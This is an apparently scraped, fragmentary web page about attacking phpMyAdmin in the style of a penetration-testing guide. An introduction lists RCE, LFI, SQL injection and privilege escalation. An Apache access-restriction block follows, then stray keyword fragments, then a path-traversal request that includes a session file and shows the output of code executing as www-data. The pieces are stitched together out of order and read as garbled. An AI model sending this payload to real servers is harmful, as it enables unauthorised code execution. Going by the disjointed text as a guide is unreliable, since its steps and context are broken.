Introduction phpMyAdmin is the most popular database management tool on the web. Written in PHP, it provides a graphical interface for MySQL and MariaDB. Unfortunately, its ubiquity makes it a prime target for attackers. In the world of penetration testing and red teaming (often summarized as "HackTricks"), phpMyAdmin is a goldmine—capable of leading to Remote Code Execution (RCE) , Local File Inclusion (LFI) , SQL injection , and privilege escalation .
<Location /phpmyadmin> Require ip 192.168.1.0/24 Require ip 10.0.0.0/8 Require ip 127.0.0.1 Deny from all </Location> Add an extra layer of Basic Auth before phpMyAdmin's login page. phpmyadmin hacktricks patched
GET /index.php?target=db_sql.php%3f/../../../../../../tmp/sess_attacker HTTP/1.1 Result: uid=33(www-data) gid=33(www-data) – RCE achieved. Local File Inclusion (LFI)